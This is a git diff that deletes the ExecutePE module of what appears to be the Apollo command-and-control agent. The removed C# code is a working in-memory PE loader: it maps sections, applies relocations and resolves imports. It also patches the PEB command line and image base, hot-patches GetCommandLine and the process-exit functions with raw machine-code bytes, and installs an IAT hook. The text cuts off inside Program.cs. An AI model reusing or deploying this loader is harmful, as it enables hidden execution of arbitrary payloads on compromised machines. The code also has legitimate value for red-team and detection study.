IMAGE_REL_BASED_DIR64 = 10, - } - - [DllImport("kernel32.dll")] - [return: MarshalAs(UnmanagedType.Bool)] - internal static extern bool SetStdHandle(StdHandle nStdHandle, IntPtr hHandle); - - [DllImport("kernel32.dll")] - internal static extern uint GetLastError(); - - [DllImport("kernel32.dll", SetLastError = true)] - internal static extern IntPtr GetStdHandle(StdHandle nStdHandle); - - [StructLayout(LayoutKind.Sequential)] - internal struct SECURITY_ATTRIBUTES - { - internal int nLength; - internal byte* lpSecurityDescriptor; - internal int bInheritHandle; - } - - [DllImport("kernel32.dll", SetLastError = true)] - internal static extern bool ReadFile(IntPtr hFile, [Out] byte[] lpBuffer, - uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped); - - [DllImport("kernel32.dll")] - internal static extern bool CreatePipe(out SafeFileHandle hReadPipe, out SafeFileHandle hWritePipe, - ref SECURITY_ATTRIBUTES lpPipeAttributes, uint nSize); - - [DllImport("ntdll.dll", SetLastError = true)] - internal static extern int NtQueryInformationProcess(IntPtr processHandle, int processInformationClass, - IntPtr processInformation, uint processInformationLength, IntPtr returnLength); - - [DllImport("kernel32")] - internal static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint flAllocationType, - uint flProtect); - - [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] - internal static extern IntPtr LoadLibrary(string lpFileName); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] - internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName); - - [DllImport("kernel32.dll", SetLastError = true)] - internal static extern IntPtr GetCurrentProcess(); - - [DllImport("kernel32.dll", CharSet = CharSet.Auto)] - internal static extern IntPtr GetCommandLine(); - - [DllImport("kernel32.dll", SetLastError = true)] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [SuppressUnmanagedCodeSecurity] - [return: MarshalAs(UnmanagedType.Bool)] - internal static extern bool CloseHandle(IntPtr hObject); - - [DllImport("kernel32")] - internal static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, - IntPtr param, uint dwCreationFlags, IntPtr lpThreadId); - - [DllImport("kernel32.dll")] - internal static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, - out uint lpFlOldProtect); - - [DllImport("kernel32.dll", CharSet = CharSet.Auto)] - internal static extern IntPtr GetModuleHandle(string lpModuleName); - - [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] - internal static extern bool AllocConsole(); - - [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] - internal static extern bool AttachConsole(int pid); - - [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] - internal static extern bool VirtualFree(IntPtr pAddress, uint size, uint freeType); - - [DllImport("kernel32")] - internal static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); - - [StructLayout(LayoutKind.Sequential)] - internal struct PROCESS_BASIC_INFORMATION - { - internal uint ExitStatus; - internal IntPtr PebAddress; - internal UIntPtr AffinityMask; - internal int BasePriority; - internal UIntPtr UniqueProcessId; - internal UIntPtr InheritedFromUniqueProcessId; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Patchers/ArgumentPatcher.cs b/Payload_Type/apollo/apollo/agent_code/ExecutePE/Patchers/ArgumentPatcher.cs deleted file mode 100644 index a0eacc31..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Patchers/ArgumentPatcher.cs +++ /dev/null @@ -1,160 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Runtime.InteropServices; -using System.Text; -using ExecutePE.Helpers; - -namespace ExecutePE.Patchers -{ - internal class ArgumentHandler - { - private const int - PEB_RTL_USER_PROCESS_PARAMETERS_OFFSET = - 0x20; // Offset into the PEB that the RTL_USER_PROCESS_PARAMETERS pointer sits at - - private const int - RTL_USER_PROCESS_PARAMETERS_COMMANDLINE_OFFSET = - 0x70; // Offset into the RTL_USER_PROCESS_PARAMETERS that the CommandLine sits at https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-rtl_user_process_parameters - - private const int RTL_USER_PROCESS_PARAMETERS_MAX_LENGTH_OFFSET = 2; - - private const int - RTL_USER_PROCESS_PARAMETERS_IMAGE_OFFSET = - 0x60; // Offset into the RTL_USER_PROCESS_PARAMETERS that the CommandLine sits at https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-rtl_user_process_parameters - - private const int - UNICODE_STRING_STRUCT_STRING_POINTER_OFFSET = - 0x8; // Offset into the UNICODE_STRING struct that the string pointer sits at https://docs.microsoft.com/en-us/windows/win32/api/subauth/ns-subauth-unicode_string - - private byte[]? _originalCommandLineFuncBytes; - private IntPtr _ppCommandLineString; - private IntPtr _ppImageString; - private IntPtr _pLength; - private IntPtr _pMaxLength; - private IntPtr _pOriginalCommandLineString; - private IntPtr _pOriginalImageString; - private IntPtr _pNewString; - private short _originalLength; - private short _originalMaxLength; - private string? _commandLineFunc; - private Encoding _encoding = Encoding.UTF8; - - public bool UpdateArgs(string imageName, string commandLine) - { - var pPEB = Utils.GetPointerToPeb(); - if (pPEB == IntPtr.Zero) - { - return false; - } - - GetPebCommandLineAndImagePointers(pPEB, out _ppCommandLineString, out _pOriginalCommandLineString, - out _ppImageString, out _pOriginalImageString, out _pLength, out _originalLength, out _pMaxLength, - out _originalMaxLength); - - var pNewCommandLineString = Marshal.StringToHGlobalUni(commandLine); - var pNewImageString = Marshal.StringToHGlobalUni(imageName); - if (!Utils.PatchAddress(_ppCommandLineString, pNewCommandLineString)) - { - - return false; - } - if (!Utils.PatchAddress(_ppImageString, pNewImageString)) - { - return false; - } - Marshal.WriteInt16(_pLength, 0, (short)commandLine.Length); - Marshal.WriteInt16(_pMaxLength, 0, (short)commandLine.Length); - - if (!PatchGetCommandLineFunc(commandLine)) - { - return false; - } - - return true; - } - - private bool PatchGetCommandLineFunc(string commandLine) - { - var pCommandLineString = NativeDeclarations.GetCommandLine(); - var commandLineString = Marshal.PtrToStringAuto(pCommandLineString); - - if (commandLineString != null) - { - var stringBytes = new byte[commandLineString.Length]; - - // Copy the command line string bytes into an array and check if it contains null bytes (so if it is wide or not - Marshal.Copy(pCommandLineString, stringBytes, 0, - commandLineString.Length); // Even if ASCII won't include null terminating byte - - if (!new List(stringBytes).Contains(0x00)) - { - _encoding = Encoding.ASCII; // At present assuming either ASCII or UTF8 - } - - PERunner.encoding = _encoding; - } - - // Set the GetCommandLine func based on the determined encoding - _commandLineFunc = _encoding.Equals(Encoding.ASCII) ? "GetCommandLineA" : "GetCommandLineW"; - - // Write the new command line string into memory - _pNewString = _encoding.Equals(Encoding.ASCII) - ? Marshal.StringToHGlobalAnsi(commandLine) - : Marshal.StringToHGlobalUni(commandLine); - - // Create the patch bytes that provide the new string pointer - var patchBytes = new List() { 0x48, 0xB8 }; // TODO architecture - var pointerBytes = BitConverter.GetBytes(_pNewString.ToInt64()); - - patchBytes.AddRange(pointerBytes); - - patchBytes.Add(0xC3); - - // Patch the GetCommandLine function to return the new string - _originalCommandLineFuncBytes = Utils.PatchFunction("kernelbase", _commandLineFunc, patchBytes.ToArray()); - if (_originalCommandLineFuncBytes == null) - { - return false; - } - - return true; - } - - private static void GetPebCommandLineAndImagePointers(IntPtr pPEB, out IntPtr ppCommandLineString, - out IntPtr pCommandLineString, out IntPtr ppImageString, out IntPtr pImageString, - out IntPtr pCommandLineLength, out short commandLineLength, out IntPtr pCommandLineMaxLength, - out short commandLineMaxLength) - { - var ppRtlUserProcessParams = (IntPtr)(pPEB.ToInt64() + PEB_RTL_USER_PROCESS_PARAMETERS_OFFSET); - var pRtlUserProcessParams = Marshal.ReadInt64(ppRtlUserProcessParams); - ppCommandLineString = (IntPtr)pRtlUserProcessParams + RTL_USER_PROCESS_PARAMETERS_COMMANDLINE_OFFSET + - UNICODE_STRING_STRUCT_STRING_POINTER_OFFSET; - pCommandLineString = (IntPtr)Marshal.ReadInt64(ppCommandLineString); - - ppImageString = (IntPtr)pRtlUserProcessParams + RTL_USER_PROCESS_PARAMETERS_IMAGE_OFFSET + - UNICODE_STRING_STRUCT_STRING_POINTER_OFFSET; - pImageString = (IntPtr)Marshal.ReadInt64(ppImageString); - - pCommandLineLength = (IntPtr)pRtlUserProcessParams + RTL_USER_PROCESS_PARAMETERS_COMMANDLINE_OFFSET; - commandLineLength = Marshal.ReadInt16(pCommandLineLength); - - pCommandLineMaxLength = (IntPtr)pRtlUserProcessParams + RTL_USER_PROCESS_PARAMETERS_COMMANDLINE_OFFSET + - RTL_USER_PROCESS_PARAMETERS_MAX_LENGTH_OFFSET; - commandLineMaxLength = Marshal.ReadInt16(pCommandLineMaxLength); - } - - internal void ResetArgs() - { - if (_originalCommandLineFuncBytes is not null && _commandLineFunc is not null) - { - Utils.PatchFunction("kernelbase", _commandLineFunc, _originalCommandLineFuncBytes); - } - - Utils.PatchAddress(_ppCommandLineString, _pOriginalCommandLineString); - Utils.PatchAddress(_ppImageString, _pOriginalImageString); - - Marshal.WriteInt16(_pLength, 0, _originalLength); - Marshal.WriteInt16(_pMaxLength, 0, _originalMaxLength); - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Patchers/ExitPatcher.cs b/Payload_Type/apollo/apollo/agent_code/ExecutePE/Patchers/ExitPatcher.cs deleted file mode 100644 index b0ea9306..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Patchers/ExitPatcher.cs +++ /dev/null @@ -1,85 +0,0 @@ -using System; -using System.Collections.Generic; -using ExecutePE.Helpers; - -namespace ExecutePE.Patchers -{ - internal class ExitPatcher - { - private byte[]? _terminateProcessOriginalBytes; - private byte[]? _ntTerminateProcessOriginalBytes; - private byte[]? _rtlExitUserProcessOriginalBytes; - private byte[]? _corExitProcessOriginalBytes; - - public bool PatchExit() - { - var hKernelbase = NativeDeclarations.GetModuleHandle("kernelbase"); - var pExitThreadFunc = NativeDeclarations.GetProcAddress(hKernelbase, "ExitThread"); - var exitThreadPatchBytes = new List() { 0x48, 0xC7, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x48, 0xB8 }; - /* - mov rcx, 0x0 #takes first arg - mov rax, # - push rax - ret - */ - var pointerBytes = BitConverter.GetBytes(pExitThreadFunc.ToInt64()); - - exitThreadPatchBytes.AddRange(pointerBytes); - - exitThreadPatchBytes.Add(0x50); - exitThreadPatchBytes.Add(0xC3); - _terminateProcessOriginalBytes = - Utils.PatchFunction("kernelbase", "TerminateProcess", exitThreadPatchBytes.ToArray()); - if (_terminateProcessOriginalBytes == null) - { - return false; - } - - _corExitProcessOriginalBytes = - Utils.PatchFunction("mscoree", "CorExitProcess", exitThreadPatchBytes.ToArray()); - if (_corExitProcessOriginalBytes == null) - { - return false; - } - - _ntTerminateProcessOriginalBytes = - Utils.PatchFunction("ntdll", "NtTerminateProcess", exitThreadPatchBytes.ToArray()); - if (_ntTerminateProcessOriginalBytes == null) - { - return false; - } - - _rtlExitUserProcessOriginalBytes = - Utils.PatchFunction("ntdll", "RtlExitUserProcess", exitThreadPatchBytes.ToArray()); - if (_rtlExitUserProcessOriginalBytes == null) - { - return false; - } - - return true; - } - - internal void ResetExitFunctions() - { - if (_terminateProcessOriginalBytes != null) - { - Utils.PatchFunction("kernelbase", "TerminateProcess", _terminateProcessOriginalBytes); - } - - if (_corExitProcessOriginalBytes != null) - { - Utils.PatchFunction("mscoree", "CorExitProcess", _corExitProcessOriginalBytes); - } - - if (_ntTerminateProcessOriginalBytes != null) - { - Utils.PatchFunction("ntdll", "NtTerminateProcess", _ntTerminateProcessOriginalBytes); - } - - if (_rtlExitUserProcessOriginalBytes != null) - { - Utils.PatchFunction("ntdll", "RtlExitUserProcess", _rtlExitUserProcessOriginalBytes); - } - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Patchers/IATHooks.cs b/Payload_Type/apollo/apollo/agent_code/ExecutePE/Patchers/IATHooks.cs deleted file mode 100644 index 5346cf9d..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Patchers/IATHooks.cs +++ /dev/null @@ -1,154 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Runtime.InteropServices; -using ApolloInterop.Utils; - -namespace ExecutePE.Patchers -{ - using FunctionHook = Dictionary; - - internal class IATHooks() - { - private Dictionary _libraryHooks = new() - { - { - "msvcrt.dll", new() - { - {"__wgetmainargs", new GetMainArgsFunctionHook() }, - } - }, - }; - - public bool ApplyHook(string dllname, string dllFuncName, IntPtr iatAddress, IntPtr originalFunction) - { - if (_libraryHooks.TryGetValue(dllname.ToLower(), out var functionHooks)) - { - if (functionHooks.TryGetValue(dllFuncName, out var hookCallback)) - { - return hookCallback.ApplyHook(iatAddress, originalFunction); - } - } - return false; - } - } - - internal class GetMainArgsFunctionHook : IFunctionHook - { - private IntPtr? _hookAddress; - - // NASM assembly - // - // global __wgetmainargs - // section .text - // ; __wgetmainargs(int *_Argc, wchar_t ***_Argv, wchar_t ***_Envp, int options, int *_newmode) - // __wgetmainargs: - // push r12 - // push r13 - // sub rsp, 8 + 0x20 - // mov r12, rcx ; Save *_Argc - // mov r13, rdx ; Save *_Argv - // - // call [rel GetCommandLineW] - // test rax, rax - // jz __wgetmainargs_ret - // - // mov rcx, rax ; lpCmdline - // lea rdx, [rsp+0x20] ; pNumArgs - // call [rel CommandLineToArgvW] - // test rax, rax - // jz __wgetmainargs_ret - // - // mov [r13], rax - // mov eax, dword [rsp+0x20] - // mov dword [r12], eax - // - // __wgetmainargs_ret: - // add rsp, 8 + 0x20 - // pop r13 - // pop r12 - // ret - // align 8 - // GetCommandLineW: - // dq 0 - // CommandLineToArgvW: - // dq 0 - private List _hookBytes = [ - 0x41, 0x54, 0x41, 0x55, 0x48, 0x83, 0xec, 0x28, 0x49, 0x89, 0xcc, 0x49, - 0x89, 0xd5, 0xff, 0x15, 0x34, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, - 0x1f, 0x48, 0x89, 0xc1, 0x48, 0x8d, 0x54, 0x24, 0x20, 0xff, 0x15, 0x29, - 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x0c, 0x49, 0x89, 0x45, 0x00, - 0x8b, 0x44, 0x24, 0x20, 0x41, 0x89, 0x04, 0x24, 0x48, 0x83, 0xc4, 0x28, - 0x41, 0x5d, 0x41, 0x5c, 0xc3, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 - ]; - - public bool ApplyHook(IntPtr iatAddress, IntPtr originalFunction) - { - var kernelbase = NativeDeclarations.GetModuleHandle("kernelbase"); - if (kernelbase == IntPtr.Zero) - { - return false; - } - - var getCommandLineWAddress = NativeDeclarations.GetProcAddress(kernelbase, "GetCommandLineW"); - if (getCommandLineWAddress == IntPtr.Zero) - { - return false; - } - - var commandLineToArgvWAddress = NativeDeclarations.GetProcAddress(kernelbase, "CommandLineToArgvW"); - if (commandLineToArgvWAddress == IntPtr.Zero) - { - return false; - } - - _hookBytes.AddRange(BitConverter.GetBytes(getCommandLineWAddress.ToInt64())); - _hookBytes.AddRange(BitConverter.GetBytes(commandLineToArgvWAddress.ToInt64())); - - var hookMemory = NativeDeclarations.VirtualAlloc( - IntPtr.Zero, - (uint)_hookBytes.Count, - NativeDeclarations.MEM_COMMIT, - NativeDeclarations.PAGE_READWRITE - ); - - if (hookMemory == null) - { - return false; - } - - _hookAddress = hookMemory; - - Marshal.Copy(_hookBytes.ToArray(), 0, hookMemory, _hookBytes.Count); - - if (!NativeDeclarations.VirtualProtect( - hookMemory, - (UIntPtr)_hookBytes.Count, - NativeDeclarations.PAGE_EXECUTE_READ, - out _) - ) - { - return false; - } - - Marshal.WriteInt64(iatAddress, hookMemory.ToInt64()); - return true; - } - - ~GetMainArgsFunctionHook() - { - if (_hookAddress is IntPtr address) - { - NativeDeclarations.VirtualFree( - address, - (uint)_hookBytes.Count, - NativeDeclarations.MEM_RELEASE - ); - } - } - } - - internal interface IFunctionHook - { - bool ApplyHook(IntPtr iatAddress, IntPtr originalFunction); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Patchers/ImageBasePatcher.cs b/Payload_Type/apollo/apollo/agent_code/ExecutePE/Patchers/ImageBasePatcher.cs deleted file mode 100644 index f575f5fb..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Patchers/ImageBasePatcher.cs +++ /dev/null @@ -1,54 +0,0 @@ -using System; -using System.Runtime.InteropServices; -using ApolloInterop.Utils; -using ExecutePE.Helpers; - -namespace ExecutePE.Patchers -{ - internal class ImageBasePatcher - { - private const int IMAGE_BASE_ADDRESS_PEB_OFFSET = 0x10; - - private IntPtr _originalBaseAddress; - private IntPtr _PEBImageBaseAddress; - - private IntPtr _newProcessBaseAddress; - - public ImageBasePatcher(IntPtr newProcessBase) - { - _newProcessBaseAddress = newProcessBase; - } - - public bool PatchImageBaseAddress() - { - var pebAddress = Utils.GetPointerToPeb(); - _PEBImageBaseAddress = pebAddress.Add(IMAGE_BASE_ADDRESS_PEB_OFFSET); - _originalBaseAddress = Marshal.ReadIntPtr(_PEBImageBaseAddress); - - try - { - Marshal.WriteIntPtr(_PEBImageBaseAddress, _newProcessBaseAddress); - } - catch (AccessViolationException) - { - return false; - } - - return true; - } - - internal bool RevertImageBasePatch() - { - try - { - Marshal.WriteIntPtr(_PEBImageBaseAddress, _originalBaseAddress); - } - catch (AccessViolationException) - { - return false; - } - - return true; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Patchers/ImportResolver.cs b/Payload_Type/apollo/apollo/agent_code/ExecutePE/Patchers/ImportResolver.cs deleted file mode 100644 index 76484671..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Patchers/ImportResolver.cs +++ /dev/null @@ -1,111 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Runtime.InteropServices; -using ExecutePE.Internals; - -namespace ExecutePE.Patchers -{ - internal class ImportResolver - { - [DllImport("kernel32.dll", CharSet = CharSet.Unicode)] - private static extern bool FreeLibrary(IntPtr hModule); - - private const int - IDT_SINGLE_ENTRY_LENGTH = - 20; // Each Import Directory Table entry is 20 bytes long https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#import-directory-table - - private const int IDT_IAT_OFFSET = 16; // Offset in IDT to Relative Virtual Address to the Import Address Table for this DLL - - private const int IDT_DLL_NAME_OFFSET = 12; // Offset in IDT to DLL name for this DLL - private const int ILT_HINT_LENGTH = 2; // Length of the 'hint' prefix to the function name in the ILT/IAT - - private readonly List _originalModules = new List(); - private readonly IATHooks _iatHooks = new(); - - public void ResolveImports(PELoader pe, long currentBase) - { - // Save the current loaded modules so can unload new ones afterwards - var currentProcess = Process.GetCurrentProcess(); - foreach (ProcessModule module in currentProcess.Modules) - { - _originalModules.Add(module.ModuleName); - } - - // Resolve Imports - var pIDT = (IntPtr)(currentBase + pe.OptionalHeader64.ImportTable.VirtualAddress); - var dllIterator = 0; - while (true) - { - var pDLLImportTableEntry = (IntPtr)(pIDT.ToInt64() + IDT_SINGLE_ENTRY_LENGTH * dllIterator); - - var iatRVA = Marshal.ReadInt32((IntPtr)(pDLLImportTableEntry.ToInt64() + IDT_IAT_OFFSET)); - var pIAT = (IntPtr)(currentBase + iatRVA); - - var dllNameRVA = Marshal.ReadInt32((IntPtr)(pDLLImportTableEntry.ToInt64() + IDT_DLL_NAME_OFFSET)); - var pDLLName = (IntPtr)(currentBase + dllNameRVA); - var dllName = Marshal.PtrToStringAnsi(pDLLName); - - if (string.IsNullOrEmpty(dllName)) - { - break; - } - - var handle = NativeDeclarations.LoadLibrary(dllName); - var pCurrentIATEntry = pIAT; - while (true) - { - // For each DLL iterate over its functions in the IAT and patch the IAT with the real address https://tech-zealots.com/malware-analysis/journey-towards-import-address-table-of-an-executable-file/ - try - { - var pDLLFuncName = - (IntPtr)(currentBase + Marshal.ReadInt32(pCurrentIATEntry) + - ILT_HINT_LENGTH); // Skip two byte 'hint' http://sandsprite.com/CodeStuff/Understanding_imports.html - var dllFuncName = Marshal.PtrToStringAnsi(pDLLFuncName); - - if (string.IsNullOrEmpty(dllFuncName)) - { - break; - } - - var pRealFunction = NativeDeclarations.GetProcAddress(handle, dllFuncName); - if (pRealFunction.ToInt64() == 0) - { - } - else - { - if (!_iatHooks.ApplyHook(dllName, dllFuncName, pCurrentIATEntry, pRealFunction)) - { - Marshal.WriteInt64(pCurrentIATEntry, pRealFunction.ToInt64()); - } - } - - pCurrentIATEntry = - (IntPtr)(pCurrentIATEntry.ToInt64() + - IntPtr.Size); // Shift the current entry to point to the next entry along, as each entry is just a pointer this is one IntPtr.Size - } - catch (Exception) - { - } - } - - dllIterator++; - } - } - - internal void ResetImports() - { - var currentProcess = Process.GetCurrentProcess(); - foreach (ProcessModule module in currentProcess.Modules) - { - if (!_originalModules.Contains(module.ModuleName)) - { - if (!FreeLibrary(module.BaseAddress)) - { - var error = NativeDeclarations.GetLastError(); - } - } - } - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Patchers/PEMapper.cs b/Payload_Type/apollo/apollo/agent_code/ExecutePE/Patchers/PEMapper.cs deleted file mode 100644 index f695c087..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Patchers/PEMapper.cs +++ /dev/null @@ -1,211 +0,0 @@ -using System; -using System.ComponentModel; -using System.Runtime.InteropServices; -using ExecutePE.Helpers; -using ExecutePE.Internals; - -namespace ExecutePE.Patchers -{ - internal class PEMapper - { - private IntPtr _codebase; - private PELoader? _pe; - - public void MapPEIntoMemory(byte[] unpacked, out PELoader peLoader, out long currentBase) - { - _pe = peLoader = new PELoader(unpacked); - _codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, _pe.OptionalHeader64.SizeOfImage, - NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_READWRITE); - currentBase = _codebase.ToInt64(); - - int relocTableFileOffset = 0; - int relocTableFileSize = 0; - - // Copy Sections - for (var i = 0; i < _pe.FileHeader.NumberOfSections; i++) - { - // The relocation table is typically marked as 'SCN_MEM_DISCARDABLE' so it will be discarded. - // Check if this section refers to the relocation table and save the file offset. - // The relocations are parsed from the file and not the virtual address. - if (_pe.OptionalHeader64.BaseRelocationTable.VirtualAddress == _pe.ImageSectionHeaders[i].VirtualAddress) - { - try - { - checked - { - relocTableFileOffset = (int)_pe.ImageSectionHeaders[i].PointerToRawData; - } - } - catch (OverflowException) - { - throw new InvalidOperationException("Relocation table file offset is invalid"); - } - - try - { - checked - { - relocTableFileSize = (int)_pe.ImageSectionHeaders[i].SizeOfRawData; - } - } - catch (OverflowException) - { - throw new InvalidOperationException("Relocation table size is invalid"); - } - } - - // Discard sections marked as discardable - if (_pe.ImageSectionHeaders[i].Characteristics.HasFlag(PELoader.SectionFlags.IMAGE_SCN_MEM_DISCARDABLE)) - { - continue; - } - - var sectionSize = ( - _pe.ImageSectionHeaders[i].SizeOfRawData > _pe.ImageSectionHeaders[i].VirtualSize - ? _pe.ImageSectionHeaders[i].SizeOfRawData - : _pe.ImageSectionHeaders[i].VirtualSize - ); - - var y = NativeDeclarations.VirtualAlloc((IntPtr)(currentBase + _pe.ImageSectionHeaders[i].VirtualAddress), - sectionSize, NativeDeclarations.MEM_COMMIT, NativeDeclarations.PAGE_READWRITE); - if (y == null) - { - var sectionName = new string(_pe.ImageSectionHeaders[i].Name); - var exc = new Win32Exception(); - throw new Exception($"Could not allocate memory for the '{sectionName}' section: {exc.Message}"); - } - - // Copy the section data if the section has initialized data or code - if (_pe.ImageSectionHeaders[i].Characteristics.HasFlag(PELoader.SectionFlags.IMAGE_SCN_CNT_INITIALIZED_DATA) - || _pe.ImageSectionHeaders[i].Characteristics.HasFlag(PELoader.SectionFlags.IMAGE_SCN_CNT_CODE)) - { - Marshal.Copy(_pe.RawBytes, (int)_pe.ImageSectionHeaders[i].PointerToRawData, y, (int)_pe.ImageSectionHeaders[i].SizeOfRawData); - } - } - - // Calculate the delta for relocations - var delta = currentBase - (long)_pe.OptionalHeader64.ImageBase; - - // Get the start of the relocation table from the file offset. Assume that a non-existent - // relocation table means that the PE is malformed. - if (relocTableFileOffset == 0) - { - throw new InvalidOperationException("Relocation table not found. PE may be malformed."); - } - - var relocationTable = unpacked.AsSpan(relocTableFileOffset, relocTableFileSize); - var relocationIndex = 0; - - var baseRelocationEntry = NativeDeclarations.IMAGE_BASE_RELOCATION.Parse(relocationTable[relocationIndex..].ToArray()); - var baseRelocationBlockSize = 8; - - // Iterate over each entry in the relocation table and apply relocations - while (baseRelocationEntry.SizeOfBlock != 0) - { - IntPtr relocationBaseAddress = (IntPtr)(currentBase + baseRelocationEntry.VirtualAddress); - - var relocationEntriesStart = relocationIndex + baseRelocationBlockSize; - var relocationEntriesByteCount = baseRelocationEntry.SizeOfBlock - baseRelocationBlockSize; - - var relocationEntries = relocationTable.Slice(relocationEntriesStart, (int)relocationEntriesByteCount); - for (var offset = 0; offset < relocationEntries.Length; offset += 2) - { - var relocEntry = BitConverter.ToUInt16(relocationEntries.ToArray(), offset); - var relocType = (byte)((ushort)(relocEntry & 0xf000) >> 12); - var patchAddress = relocationBaseAddress.Add(relocEntry & 0xfff); - - switch (relocType) - { - case (byte)NativeDeclarations.X86BaseRelocationType.IMAGE_REL_BASED_ABSOLUTE: - break; - - case (byte)NativeDeclarations.X86BaseRelocationType.IMAGE_REL_BASED_HIGH: - var addressValue = (uint)Marshal.ReadInt32(patchAddress); - var highValue = ((delta >> 16) + (addressValue >> 16)) << 16; - Marshal.WriteInt32(patchAddress, (int)(highValue | (addressValue & 0xffff))); - break; - - case (byte)NativeDeclarations.X86BaseRelocationType.IMAGE_REL_BASED_LOW: - addressValue = (uint)Marshal.ReadInt32(patchAddress); - var lowValue = (delta & 0xffff) + (addressValue & 0xffff); - Marshal.WriteInt32(patchAddress, (int)((addressValue & ~0xffff) | lowValue)); - break; - - case (byte)NativeDeclarations.X86BaseRelocationType.IMAGE_REL_BASED_HIGHLOW: - addressValue = (uint)Marshal.ReadInt32(patchAddress); - Marshal.WriteInt32(patchAddress, (int)(addressValue + delta)); - break; - - case (byte)NativeDeclarations.X86BaseRelocationType.IMAGE_REL_BASED_DIR64: - var originalAddr = Marshal.ReadInt64(patchAddress); - Marshal.WriteInt64(patchAddress, originalAddr + delta); - break; - - default: - throw new InvalidOperationException($"Found an invalid relocation type {relocType}"); - } - } - - relocationIndex += (int)baseRelocationEntry.SizeOfBlock; - baseRelocationEntry = NativeDeclarations.IMAGE_BASE_RELOCATION.Parse(relocationTable[relocationIndex..].ToArray()); - } - } - - internal void ClearPE() - { - var size = _pe?.OptionalHeader64.SizeOfImage; - if (size != null) - { - Utils.ZeroOutMemory(_codebase, (int)size); - } - - Utils.FreeMemory(_codebase); - } - - internal void SetPagePermissions() - { - for (var i = 0; i < _pe?.FileHeader.NumberOfSections; i++) - { - // Skip over discarded sections since they are not mapped in - if (_pe.ImageSectionHeaders[i].Characteristics.HasFlag(PELoader.SectionFlags.IMAGE_SCN_MEM_DISCARDABLE)) - { - continue; - } - - var execute = ((uint)_pe.ImageSectionHeaders[i].Characteristics & NativeDeclarations.IMAGE_SCN_MEM_EXECUTE) != 0; - var read = ((uint)_pe.ImageSectionHeaders[i].Characteristics & NativeDeclarations.IMAGE_SCN_MEM_READ) != 0; - var write = ((uint)_pe.ImageSectionHeaders[i].Characteristics & NativeDeclarations.IMAGE_SCN_MEM_WRITE) != 0; - - var protection = NativeDeclarations.PAGE_EXECUTE_READWRITE; - - if (execute && read && write) - { - protection = NativeDeclarations.PAGE_EXECUTE_READWRITE; - } - else if (!execute && read && write) - { - protection = NativeDeclarations.PAGE_READWRITE; - } - else if (!write && execute && read) - { - protection = NativeDeclarations.PAGE_EXECUTE_READ; - } - else if (!execute && !write && read) - { - protection = NativeDeclarations.PAGE_READONLY; - } - else if (execute && !read && !write) - { - protection = NativeDeclarations.PAGE_EXECUTE; - } - else if (!execute && !read && !write) - { - protection = NativeDeclarations.PAGE_NOACCESS; - } - - NativeDeclarations.VirtualProtect((IntPtr)(_codebase.ToInt64() + _pe.ImageSectionHeaders[i].VirtualAddress), - (UIntPtr)_pe.ImageSectionHeaders[i].SizeOfRawData, protection, out _); - } - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Program.cs b/Payload_Type/apollo/apollo/agent_code/ExecutePE/Program.cs deleted file mode 100644 index 3f01ebff..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ExecutePE/Program.cs +++ /dev/null @@ -1,230 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Text; -using System.Linq; -using System.Threading; -using ApolloInterop.Serializers; -using System.Collections.Concurrent; -using ApolloInterop.Interfaces; -using ApolloInterop.Classes; -using ApolloInterop.Classes.Core; -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Classes.Events; -using ApolloInterop.Enums.ApolloEnums; -using ApolloInterop.Constants; -using ST = System.Threading.Tasks; -using System.IO.Pipes; -using ExecutePE.Helpers; -using static ExecutePE.PERunner; - -namespace ExecutePE -{ - internal static class Program - { - private static JsonSerializer _jsonSerializer = new JsonSerializer(); - private static string? _namedPipeName; - private static ConcurrentQueue _senderQueue = new ConcurrentQueue(); - private static ConcurrentQueue _recieverQueue = new ConcurrentQueue(); - private static AsyncNamedPipeServer? _server; - private static AutoResetEvent _senderEvent = new AutoResetEvent(false); - private static AutoResetEvent _receiverEvent = new AutoResetEvent(false); - private static ConcurrentDictionary> MessageStore = new ConcurrentDictionary>(); - private static CancellationTokenSource _cts 